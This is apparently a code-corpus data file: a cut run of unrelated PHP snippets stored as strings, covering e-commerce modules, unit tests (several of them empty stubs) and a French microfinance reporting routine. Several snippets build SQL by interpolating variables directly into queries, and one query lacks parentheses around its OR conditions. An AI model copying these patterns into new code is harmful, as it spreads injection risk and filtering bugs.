(int)$item['id'];\n\n $result[] = new Entity\\Set($item);\n }\n\n return $result;\n }", "public function getReferenceSetsList(){\n return $this->_get(1);\n }", "public function testCountCache()\r\n\t{\r\n\t\t$this->assertEquals( 0, $this->list->count() );\r\n\r\n\t\t// add one\r\n\t\t$this->list->ut_insert( 0, 'zero' );\r\n\t\t$this->assertEquals( 1, $this->list->count() );\r\n\r\n\t\t// add three more\r\n\t\t$this->list->ut_insert( 1, 'one' );\r\n\t\t$this->list->ut_insert( 2, 'two' );\r\n\t\t$this->list->ut_insert( 3, 'three' );\r\n\t\t$this->assertEquals( 4, $this->list->count() );\r\n\r\n\t\t// delete two\r\n\t\t$this->list->ut_delete( 3 );\r\n\t\t$this->list->ut_delete( 2 );\r\n\t\t$this->assertEquals( 2, $this->list->count() );\r\n\t}", "public function test_get_many_does_not_return_exceeded_entries()\n {\n // be checked for expiration...\n $con = $this->newConnection();\n\n $mainStorage = $this->newMainStorage($con);\n\n\n $storage = $this->newStorage($mainStorage);\n\n $until = (new \\DateTime());\n $storage->put('foo', 'bar', [], $until);\n $storage->put('baz', 'boing', [], $until);\n\n $storage2 = $this->newTestStorage($mainStorage);\n\n $storage2->now = time() + 100;\n\n $this->assertEquals([], $storage2->several(['foo', 'baz']));\n }", "public function getMutationsList(){\n return $this->_get(3);\n }", "public function findAllRetainedIds()\n\t{\n\t\t$qb = $this->createQueryBuilder('s');\n\n\t\t$qb->select('s.id')\n\t\t ->where('s.level NOT LIKE :syn')\n\t\t ->setParameter('syn', '%syn%')\n ->orderBy('s.id', 'ASC')\n\t\t;\n\n\t\treturn $qb->getQuery()->getResult();\n\t}", "function enLista($valor, $set = [])\r\n{\r\n return in_array($valor, $set);\r\n}", "function checkSets($ar=NULL){\n // ReflectionProperty::IS_STATIC\n // ReflectionClass::getProperties (filter);\n $p = new XParam($ar, array('create'=>false));\n $createsets = $p->get('create');\n\n $r = new ReflectionClass(\"XModEPassLibre\");\n $props= $r->getProperties(ReflectionProperty::IS_STATIC);\n $sets = array();\n $mess = '';\n foreach($props as $prop){\n list($tabname, $fieldname, $v1, $v2, $v3, $v4) = explode('_', $prop->name);\n if (in_array($tabname, array('WTSORDER', 'WTSORDERLINE', 'WTSWTPTRANSACTION', 'WTSPRDCONF'))){\n\tif (!isset($sets[$tabname.'//'.$fieldname])){\n\t $sets[$tabname.'//'.$fieldname] = array();\n\t}\n\t$sets[$tabname.'//'.$fieldname][] = trim($v1.' '.$v2.' '.$v3.' '.$v4);\n }\n }\n unset($tabname); unset($fieldname);\n foreach($sets as $field=>$setlist){\n list($tabname, $fieldname) = explode('//', $field);\n $mess .= \"<br><strong>$tabname $fieldname</strong> : <br>CONST :\";\n foreach($setlist as $set){\n\t$aset = $tabname.'_'.$fieldname.'_'.str_replace(' ', '_', $set);\n\t$mess .= ' '.$set.' -> '.self::$$aset;\n }\n if ($fieldname == 'MODEVALIDATION')\n\t$fieldname = 'VALIDACTIV';\n $rs = selectQueryGetAll(\"select soid, stxt from SETS where slang='FR' and stab='$tabname' and field='$fieldname'\");\n $mess .= \"<br> SETS :\";\n foreach($rs as $ors){\n\t$mess .= \" {$ors['stxt']} -> {$ors['soid']}\";\n }\n if (count($rs) == 0){\n\t$mess .=\"<br> aucun sets pour le champ $fieldname :<br>\";\n\tforeach($setlist as $set){\n\t if ($fieldname == 'VALIDACTIV')\n\t $fieldname = 'MODEVALIDATION';\n\t $aset = $tabname.'_'.$fieldname.'_'.str_replace(' ', '_', $set);\n\t $mess .= ' '.$set.' : '.self::$$aset;\n\n $xds = XDataSource::objectFactoryHelper8('BCLASS=XDSTable&SPECS='.$tabname);\n $soid = self::$$aset;\n $label = $set;\n $mess .= '<br><b>créer : '.$label.' : '.$soid.'</b><br>';\n\n if ($fieldname == 'MODEVALIDATION')\n\t $fieldname = 'VALIDACTIV';\n if ($createsets){\n\t XLogs::notice('add newstring', \"$tabname $fieldname $label $soid\");\n $fieldname = strtolower($fieldname);\n if (!$xds->fieldExists($fieldname))\n $fieldname = strtoupper($fieldname);\n if ($xds->fieldExists($fieldname)){\n $fo = $xds->getField($fieldname);\n XLogs::notice('add newstring', \"$label $soid\");\n $fo->newString($label, $soid /*, SORDER */);\n $fieldname = strtoupper($fieldname);\n\t $mess .= 'ajouté ...<br>';\n } else {\n $mess .= $tabname.' '.$fieldname.' existe pas';\n }\n }\n\t}\n }\n }\n XShell::setNext($this->getMainAction());\n setSessionVar('message', $mess);\n }", "public function test_findCorrectVersion() {\n $data = $this->SampleSet->find('all', ['conditions' => ['set_code' => 'tn2']]);\n $this->assertEquals(2, $data[0]['SampleSet']['version']);\n $this->assertEquals('tn2', $data[0]['SampleSet']['set_code']);\n $this->assertEquals(4, $data[0]['SampleSet']['id']);\n $this->assertEquals(1, count($data));\n }", "public function testUpdateModelSet()\n {\n }", "public function testSetCollectionApproval()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "public function testCreatePermissionSet()\n {\n }", "public function testSearchPermissionSets()\n {\n }", "public function getItemsCollection()\r\n {\r\n $items = array();\r\n\r\n $colletions = $this->getOrder()->getItemsCollection();\r\n foreach($colletions as $item){\r\n $models = Mage::getModel(\"vendorsrma/item\")->getCollection()->addFieldToFilter(\"order_item_id\",$item->getId());\r\n $qty_rma_old = 0;\r\n $rmas = null;\r\n $options = Mage::getModel(\"vendorsrma/status\")->getOptions();\r\n foreach($models as $rma_item){\r\n $request = Mage::getModel(\"vendorsrma/request\")->load($rma_item->getRequestId());\r\n if($request->getData(\"status\") == $options[3][\"value\"]) continue;\r\n /* check request not complete */\r\n $qty_rma_old += $rma_item->getQty();\r\n\r\n $rmas[] = array($request->getId() => $request->getData(\"increment_id\"));\r\n }\r\n \r\n if( $this->getOrder()->getStatus() == Mage_Sales_Model_Order::STATE_COMPLETE){\r\n if($qty_rma_old == 0){\r\n $qty = $item->getData(\"qty_shipped\") - $item->getData(\"qty_refunded\") > 0 ? $item->getData(\"qty_shipped\") - $item->getData(\"qty_refunded\") : 0;\r\n $item->setData(\"qty_rma\",(int)$qty);\r\n $item->setData(\"allow_per_item_order\",$this->allowPerItem());\r\n }\r\n else{\r\n $qty = $item->getData(\"qty_shipped\") - $item->getData(\"qty_refunded\") - $qty_rma_old > 0 ? $item->getData(\"qty_shipped\") - $item->getData(\"qty_refunded\") - $qty_rma_old : 0;\r\n $item->setData(\"qty_rma\",(int)$qty);\r\n $item->setData(\"request_rma\",$rmas);\r\n $item->setData(\"allow_per_item_order\",$this->allowPerItem());\r\n }\r\n }\r\n else{\r\n if($qty_rma_old == 0){\r\n $qty = $item->getData(\"qty_invoiced\") > 0 ? $item->getData(\"qty_invoiced\") : 0;\r\n $item->setData(\"qty_rma\",(int)$qty);\r\n $item->setData(\"allow_per_item_order\",$this->allowPerItem());\r\n }\r\n else{\r\n $qty = $item->getData(\"qty_invoiced\") - $qty_rma_old > 0 ? $item->getData(\"qty_invoiced\") - $qty_rma_old : 0;\r\n $item->setData(\"qty_rma\",(int)$qty);\r\n $item->setData(\"request_rma\",$rmas);\r\n $item->setData(\"allow_per_item_order\",$this->allowPerItem());\r\n }\r\n }\r\n \r\n\r\n $items[] = $item;\r\n }\r\n\r\n\r\n return $items;\r\n }", "public function updateStatusRequest()\n { \n $now = Mage::getSingleton('core/date')->gmtDate(); \n $items = Mage::getModel('qquoteadv/qqadvcustomer')->getCollection();\n $items->addFieldToFilter('status', Ophirah_Qquoteadv_Model_Status::STATUS_REQUEST);\n $items->getSelect()->group('store_id');\n if($items->getSize() >0 ){\n $data = $items->getData();\n\n foreach($data as $unit) { \n $storeId = $unit['store_id'];\n $day = Mage::getStoreConfig('qquoteadv/general/expirtime_proposal', (int)$storeId); \n \n $now = Mage::getSingleton('core/date')->gmtDate(); \n $collection = Mage::getModel('qquoteadv/qqadvcustomer')->getCollection();\n $collection->addFieldToFilter('status', Ophirah_Qquoteadv_Model_Status::STATUS_REQUEST);\n $collection->getSelect()\n ->where('created_at<INTERVAL -' . $day . ' DAY + \\'' . $now . '\\'');\n $collection->load(); \n\n foreach ($collection as $item) { \n $item->setStatus(Ophirah_Qquoteadv_Model_Status::STATUS_REQUEST_EXPIRED);\n $item->save(); \n }\n }\n }\n }", "public function testGetCollectionApproval()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "public function getCachedContributionsAttribute(): Collection\n {\n return Cache::remember($this->cacheKey().':contributions', 10, function () {\n return $this->contributions()->latest()->get();\n });\n }", "public function allAnnonce(){\n $annonces=$this->repAnnonce->findBy(['disponibilite' =>'1']);\n return $annonces;\n }", "public function fetchAll() {\n\n $settings=$this->em->getRepository('CreavoOptionBundle:Setting')->findAll();\n\n /** @var Setting $setting */\n foreach($settings AS $setting) {\n $this->addToCache($setting);\n }\n }", "function _prime_post_caches($ids, $update_term_cache = \\true, $update_meta_cache = \\true)\n {\n }", "public function testFetchAll()\n {\n /*\n * FETCH_MAXIMUM - set to integer value to limit to the\n * first 'max' number of entries.\n * FETCH_BY_FILESPEC - set to a filespec to limit changes to those\n * affecting the file(s) matching the filespec.\n * FETCH_BY_STATUS - set to a valid change status to limit result\n * to changes with that status (e.g. 'pending').\n * FETCH_INTEGRATED - set to true to include changes integrated\n * into the specified files.\n * FETCH_BY_CLIENT - set to a client to limit changes to those\n * on the named client.\n * FETCH_BY_USER - set to a user to limit changes to those\n * owned by the named user.\n * FETCH_AFTER - set to an id _after_ which to start collecting entries\n * note: entries seen before 'after' count towards max.\n */\n\n // create a file and submitted change\n $file1 = new File;\n $file1->setFilespec('//depot/path-a/test-file')->add()->setLocalContents('test')->submit('test-1');\n\n // create a file and submitted change\n $file2 = new File;\n $file2->setFilespec('//depot/path-b/test-file')->add()->setLocalContents('test')->submit('test-2');\n\n // create a pending change with 2 files\n $files = new FieldedIterator;\n $file3 = new File;\n $files[] = $file3->setFilespec('//depot/path-c/test-file1')\n ->add()\n ->setLocalContents('test');\n $file4 = new File;\n $files[] = $file4->setFilespec('//depot/path-c/test-file2')\n ->add()\n ->setLocalContents('test');\n $change = new Change;\n $change->setFiles($files)->setDescription(\"Has 2 files\\n\")->save();\n\n // create a change by another user, in another workspace.\n $user = new User;\n $password = 'AnotherPass';\n $user->setId('alternate')\n ->setEmail('[email protected]')\n ->setFullName('Alternate User')\n ->save();\n $client = new Client;\n $clientId = 'another-test-client';\n $client->setId($clientId)\n ->setRoot(DATA_PATH . \"/clients/$clientId\")\n ->setView(array('//depot/... //another-test-client/...'))\n ->save();\n $p4 = Connection::factory(\n $this->p4->getPort(),\n $user->getId(),\n $client->getId()\n );\n $change = new Change($p4);\n $change->setDescription(\"in alternate client\\n\")->save();\n\n // and have the alternate user integrate an existing file\n $integFilespec = '//depot/path-a/test-integ';\n $result = $p4->run('integrate', array('-f', $file1->getFilespec(), $integFilespec));\n\n $change = new Change($p4);\n $change->addFile($integFilespec)->setDescription('Integration')->submit();\n\n // Testing begins: ensure correct number of changes returned.\n $changes = Change::fetchAll();\n $this->assertEquals(\n 5,\n $changes->count(),\n 'There should be 5 changes.'\n );\n\n // ensure that first change matches last submitted change.\n $expected = array(\n 'Change' => 5,\n 'Client' => $clientId,\n 'User' => $user->getId(),\n 'Status' => 'submitted',\n 'Description' => \"Integration\\n\",\n 'Type' => 'public',\n 'JobStatus' => null,\n 'Jobs' => array()\n );\n $actual = $changes->first()->get();\n unset($actual['Date'], $actual['Files']);\n $this->assertEquals(\n $expected,\n $actual,\n 'Fetched change should match expected values.'\n );\n\n // battery of tests against this setup with various options\n $tests = array(\n array(\n 'label' => __LINE__ .': defaults',\n 'options' => array(),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n \"Has 2 files\\n\",\n \"test-2\",\n \"test-1\"\n ),\n ),\n\n array(\n 'label' => __LINE__ .': fetch maximum 1',\n 'options' => array(\n Change::FETCH_MAXIMUM => 1,\n ),\n 'expected' => array(\n \"Integration\\n\",\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch maximum 2',\n 'options' => array(\n Change::FETCH_MAXIMUM => 2,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch maximum 3',\n 'options' => array(\n Change::FETCH_MAXIMUM => 3,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n \"Has 2 files\\n\",\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch maximum 4',\n 'options' => array(\n Change::FETCH_MAXIMUM => 4,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n \"Has 2 files\\n\",\n \"test-2\",\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch maximum 5',\n 'options' => array(\n Change::FETCH_MAXIMUM => 5,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n \"Has 2 files\\n\",\n \"test-2\",\n \"test-1\"\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch maximum 6',\n 'options' => array(\n Change::FETCH_MAXIMUM => 6,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n \"Has 2 files\\n\",\n \"test-2\",\n \"test-1\"\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch maximum 0',\n 'options' => array(\n Change::FETCH_MAXIMUM => 0,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n \"Has 2 files\\n\",\n \"test-2\",\n \"test-1\"\n ),\n ),\n\n array(\n 'label' => __LINE__ .': fetch by filespec //depot/.../test-file',\n 'options' => array(\n Change::FETCH_BY_FILESPEC => '//depot/.../test-file',\n ),\n 'expected' => array(\n \"test-2\",\n \"test-1\"\n ),\n ),\n\n array(\n 'label' => __LINE__ .': fetch by status submitted',\n 'options' => array(\n Change::FETCH_BY_STATUS => 'submitted',\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"test-2\",\n \"test-1\"\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch by status pending',\n 'options' => array(\n Change::FETCH_BY_STATUS => 'pending',\n ),\n 'expected' => array(\n \"in alternate client\\n\",\n \"Has 2 files\\n\",\n ),\n ),\n\n array(\n 'label' => __LINE__ .': fetch by client regular',\n 'options' => array(\n Change::FETCH_BY_CLIENT => $this->p4->getClient(),\n ),\n 'expected' => array(\n \"Has 2 files\\n\",\n \"test-2\",\n \"test-1\"\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch by client alternate',\n 'options' => array(\n Change::FETCH_BY_CLIENT => $clientId,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n ),\n ),\n\n array(\n 'label' => __LINE__ .': fetch by user regular',\n 'options' => array(\n Change::FETCH_BY_USER => $this->p4->getUser(),\n ),\n 'expected' => array(\n \"Has 2 files\\n\",\n \"test-2\",\n \"test-1\"\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch by user alternate',\n 'options' => array(\n Change::FETCH_BY_USER => $user->getId(),\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"in alternate client\\n\",\n ),\n ),\n\n array(\n 'label' => __LINE__ .': fetch without integrated',\n 'options' => array(\n Change::FETCH_INTEGRATED => false,\n Change::FETCH_BY_FILESPEC => $integFilespec,\n ),\n 'expected' => array(\n \"Integration\\n\",\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch with integrated',\n 'options' => array(\n Change::FETCH_INTEGRATED => true,\n Change::FETCH_BY_FILESPEC => $integFilespec,\n ),\n 'expected' => array(\n \"Integration\\n\",\n \"test-1\"\n ),\n ),\n array(\n 'label' => __LINE__ .': fetch with after',\n 'options' => array(\n Change::FETCH_AFTER => 4\n ),\n 'expected' => array(\n \"Has 2 files\\n\",\n 'test-2',\n 'test-1'\n ),\n ),\n );\n\n foreach ($tests as $test) {\n $label = $test['label'];\n $changes = Change::fetchAll($test['options']);\n $this->assertEquals(\n count($test['expected']),\n count($changes),\n \"$label - Expected change count.\"\n );\n $descriptions = array();\n foreach ($changes as $change) {\n $descriptions[] = $change->getDescription();\n }\n $this->assertSame(\n $test['expected'],\n $descriptions,\n \"$label - Expected change descriptions.\"\n );\n }\n\n }", "function getCommonProvisions();", "function _prime_term_caches($term_ids, $update_meta_cache = \\true)\n {\n }", "public function testDeletePermissionSet()\n {\n }", "public function execute_and_get_ids()\n {\n }", "public function preRetrieve();", "public function getAllVersions(): Collection\n {\n $guzzleClient = new Client(['base_uri' => config('bitbucket.api_base_url')]);\n $response = $guzzleClient\n ->get(\"2.0/repositories/\" . config('bitbucket.vendor') . \"/\" . config('bitbucket.repo') . \"/refs/tags\", [\n 'auth' => [config('bitbucket.username'), config('bitbucket.password')]\n ])->getBody();\n\n return collect(\\GuzzleHttp\\json_decode($response)->values);\n }", "public function getIdentities()\n {\n }", "private function getCreatedSet() {\n \n $new_array = array ();\n \n foreach ( $this->getSet() as $key => $value ) {\n $new_array[] = \"$key = $value\";\n }\n \n return \"SET \" . implode( \", \", $new_array );\n \n }", "function _prime_network_caches($network_ids)\n {\n }", "function getIncludeDeleted() ;", "protected function fetchFlagsAllergen() {\n return null;\n }", "public function testGetDuplicateOrderById()\n {\n }", "final public function getTagSets(): array {}", "public function test_findSetCode() {\n $data = $this->SampleSet->find('all', ['conditions' => ['set_code' => 'ch1']]);\n $this->assertEquals(1, $data[0]['SampleSet']['id']);\n $this->assertEquals(1, count($data));\n }", "function esiUpdateAll() {\n $a = esiUpdateApicorps();\n $b = esiCreateCfgesitoken();\n $c = esiCreateEsistatus();\n $d = esiUpdateApiCorpMembers();\n $e = esiUpdateApiIndustryJobsCrius();\n $f = esiUpdateApimarketorders();\n $g = esiUpdateApiContractItems();\n return $a && $b && $c && $d && $e && $f && $g;\n}", "public function unique(): CollectionInterface;", "public function getRevisions(): array;", "public function getIdentities() {\n\treturn [self::CACHE_TAG . '_' . $this->getId()];\n }", "private function getLedgerInfoBankStatement($set) {\n $this->db->getLedgerInfoBankStatement($set, $this->allledgers, $this->ledgername, $this->ledgersDetail, $this->balancesheet, $this->bankstatement);\n $len = count($this->ledgername);\n for ($i = 0; $i < $len; $i++) {\n $a = array();\n array_push($this->sortedLedger, $a);\n }\n }", "public function fetchAll()\r\n {\r\n \t// get from mem if available\r\n \t$memcache = new \\Memcached();\r\n \t$memcache->addServer('localhost', 11211);\r\n \t$key = md5(catalogProductList::MEMCACHED_FETCH_ALL);\r\n \t$cache_data = $memcache->get($key);\r\n \tif ($cache_data) {\r\n \t\t$this->log->addInfo('cache hit', array(\"key\" => $key));\r\n \t\t$this->data = $cache_data;\r\n \t} else {\r\n\t\t\t$this->data = $this->client->catalogProductList($this->sessionid);\r\n\t\t\t$memcache->set($key, $this->data, 60*1);\r\n \t}\r\n }", "function compSetArray($con) {\n $setArray = array();\n $resultSet = mysqli_query($con, \"SELECT * FROM settori\");\n while($rowSet = mysqli_fetch_array($resultSet)) {\n $rowSetArray = $rowSet['set_id'];\n array_push($setArray, $rowSetArray);\n }\n $resultSetProd = mysqli_query($con, \"SELECT * FROM composizioni\");\n while($rowSetProd = mysqli_fetch_array($resultSetProd)) {\n $cmp_set_array = array();\n $cmp_id = $rowSetProd['cmp_id'];\n $cmp_set_1_id = $rowSetProd['cmp_set_1_id'];\n $cmp_set_2_id = $rowSetProd['cmp_set_2_id'];\n $cmp_set_3_id = $rowSetProd['cmp_set_3_id'];\n $cmp_set_4_id = $rowSetProd['cmp_set_4_id'];\n $cmp_set_5_id = $rowSetProd['cmp_set_5_id'];\n for($i = 0; $i < count($setArray); $i++){\n if($setArray[$i] == $cmp_set_1_id) array_push($cmp_set_array, (int)$cmp_set_1_id);\n if($setArray[$i] == $cmp_set_2_id) array_push($cmp_set_array, (int)$cmp_set_2_id);\n if($setArray[$i] == $cmp_set_3_id) array_push($cmp_set_array, (int)$cmp_set_3_id);\n if($setArray[$i] == $cmp_set_4_id) array_push($cmp_set_array, (int)$cmp_set_4_id);\n if($setArray[$i] == $cmp_set_5_id) array_push($cmp_set_array, (int)$cmp_set_5_id);\n }\n $arraySrz = json_encode($cmp_set_array);\n $sql=\"UPDATE composizioni SET cmp_array ='$arraySrz' WHERE cmp_id = '$cmp_id'\";\n mysqli_query($con,$sql);\n }\n}", "function getSets($user){\n\n\t\t/* Get Sets */\n\t\t$sets = $this->askFlickr('photosets.getList','&user_id='.$user.'&extras=url_o,url_z,url_l,url_q,url_t,url_n,url_s');\n\n\t\t/* Return Sets */\n\t\treturn $sets;\n\t}", "public function testremoveFromCollection(){\n $user = 1;\n R::exec('UPDATE collection set products = \"{\"\"1\"\": 1}\" WHERE id = :id', [':id' => $user]);\n $collection = R::load('collection', 1);\n $products = json_decode($collection->products, true);\n $amount = $products[\"1\"];\n removeFromCollection(1,1);\n $collection2 = R::load('collection',1);\n $products2 = json_decode($collection2->products, true);\n $newAmount = $products2[\"1\"];\n $this->assertEquals($amount-1, $newAmount);\n $products2[\"1\"]++;\n $collection2->products = json_encode($products2);\n R::store($collection2);\n }", "public function testGetChangeDuplicates()\n {\n }", "function getIndicesCouverture($list_agence) {\n\n global $dbHandler;\n global $global_monnaie,$global_id_agence;\n\n $db = $dbHandler->openConnection();\n $DATA['nombre_credits'] = 0;\n $DATA['encours_brut'] = 0;\n $DATA['nombre_epargne'] = 0;\n $DATA['total_epargne'] = 0;\n $DATA['taux_renouvellement_credits'] = 0;\n $DATA['first_credit_moyen'] = 0;\n $DATA['first_credit_median'] = 0;\n $DATA['credit_moyen'] = 0;\n $DATA['credit_median'] = 0;\n $DATA['epargne_moyen_cpte'] = 0;\n $DATA['epargne_median_cpte'] = 0;\n $DATA['epargne_moyen_client'] = 0;\n $DATA['epargne_median_client'] = 0;\n foreach($list_agence as $key_id_ag =>$value) {\n //Parcours des agences\n setGlobalIdAgence($key_id_ag);\n // Nombre de crédits actifs\n $sql = \"SELECT COUNT(*) FROM ad_dcr WHERE id_ag=$global_id_agence AND etat = 5 OR etat = 7 OR etat = 13 OR etat = 14 OR etat = 15\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $nombre_credits = $row[0];\n\n // Encours brut\n $sql = \"SELECT SUM(calculeCV(solde_cap, devise, '$global_monnaie')) FROM ad_etr, ad_dcr, adsys_produit_credit WHERE ad_etr.id_ag=$global_id_agence AND ad_etr.id_ag=ad_dcr.id_ag AND ad_dcr.id_ag=adsys_produit_credit.id_ag AND ad_etr.id_doss = ad_dcr.id_doss AND ad_dcr.id_prod = adsys_produit_credit.id AND (ad_dcr.etat = 5 OR ad_dcr.etat = 7 OR ad_dcr.etat = 13 OR ad_dcr.etat = 14 OR ad_dcr.etat = 15)\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $encours_brut = $row[0];\n\n // Nombre de comptes d'épargne\n $sql = \"SELECT COUNT(*) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 \";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $nombre_epargne = $row[0];\n\n // Volume total d'épargne\n $sql = \"SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $row = $result->fetchrow();\n $total_epargne = $row[0];\n\n // Nombre de crédits relais consentis\n $sql = \"SELECT count(id_doss) FROM ad_dcr a WHERE (a.id_ag=$global_id_agence) AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND a.date_etat BETWEEN date_trunc('year', current_date) AND current_date AND EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 and b.date_etat < a.date_etat AND a.id_client = b.id_client)\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credits_relais = $row[0];\n\n // Crédits remboursés\n $sql = \"SELECT count(id_doss) FROM ad_dcr WHERE id_ag=$global_id_agence AND etat = 6 AND date_etat BETWEEN date_trunc('year', current_date) AND current_date\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credits_rembourses = $row[0];\n\n // Calcul du taux\n if ($credits_rembourses > 0) {\n $taux_renouvellement_credits = $credits_relais / $credits_rembourses;\n } else {\n $taux_renouvellement_credits = NULL;\n }\n\n // Moyenne premiers crédits\n $sql = \"SELECT AVG(calculeCV(cre_mnt_octr, devise, '$global_monnaie')) FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date AND NOT EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 AND b.date_etat < a.cre_date_debloc AND a.id_client = b.id_client)\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $first_credit_moyen = $row[0];\n\n // Médiane premiers crédits\n $sql = \"SELECT calculeCV(cre_mnt_octr, devise, '$global_monnaie') FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date AND NOT EXISTS (SELECT id_doss FROM ad_dcr b WHERE b.id_ag=$global_id_agence AND b.etat = 6 AND b.date_etat < a.cre_date_debloc AND a.id_client = b.id_client) ORDER BY calculeCV(cre_mnt_octr, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredit = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredit, $row[0]);\n }\n\n $taille = sizeof($tableauCredit);\n if ($taille == 0) {\n $first_credit_median = NULL;\n }\n elseif ($taille % 2 == 1) {\n $first_credit_median = $tableauCredit[($taille -1) / 2];\n }\n else {\n $first_credit_median = ($tableauCredit[($taille) / 2] + $tableauCredit[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne crédit\n $sql = \"SELECT AVG(calculeCV(cre_mnt_octr, devise, '$global_monnaie')) FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (a.etat = 5 OR a.etat = 7 OR a.etat = 13 OR a.etat = 14 OR a.etat = 15) AND cre_date_debloc BETWEEN date_trunc('year', current_date) AND current_date\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $credit_moyen = $row[0];\n\n // Médiane crédit\n $sql = \"SELECT calculeCV(cre_mnt_octr, devise, '$global_monnaie') FROM ad_dcr a, adsys_produit_credit b WHERE a.id_ag=$global_id_agence AND a.id_ag=b.id_ag AND a.id_prod = b.id AND (etat = 5 OR etat = 7 OR etat = 13 OR etat = 14 OR etat = 15)\n ORDER BY calculeCV(cre_mnt_octr, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredit = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredit, $row[0]);\n }\n\n $taille = sizeof($tableauCredit);\n if ($taille == 0) {\n $credit_median = NULL;\n }\n elseif ($taille % 2 == 1) {\n $credit_median = $tableauCredit[($taille -1) / 2];\n }\n else {\n $credit_median = ($tableauCredit[($taille) / 2] + $tableauCredit[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne épargne par compte\n $sql = \"SELECT AVG(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $epargne_moyen_cpte = $row[0];\n\n // Médiane épargne par compte\n $sql = \"SELECT calculeCV(solde, devise, '$global_monnaie') FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0 ORDER BY calculeCV(solde, devise, '$global_monnaie')\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauCredits = array ();\n while ($row = $result->fetchrow()) {\n array_push($tableauCredits, 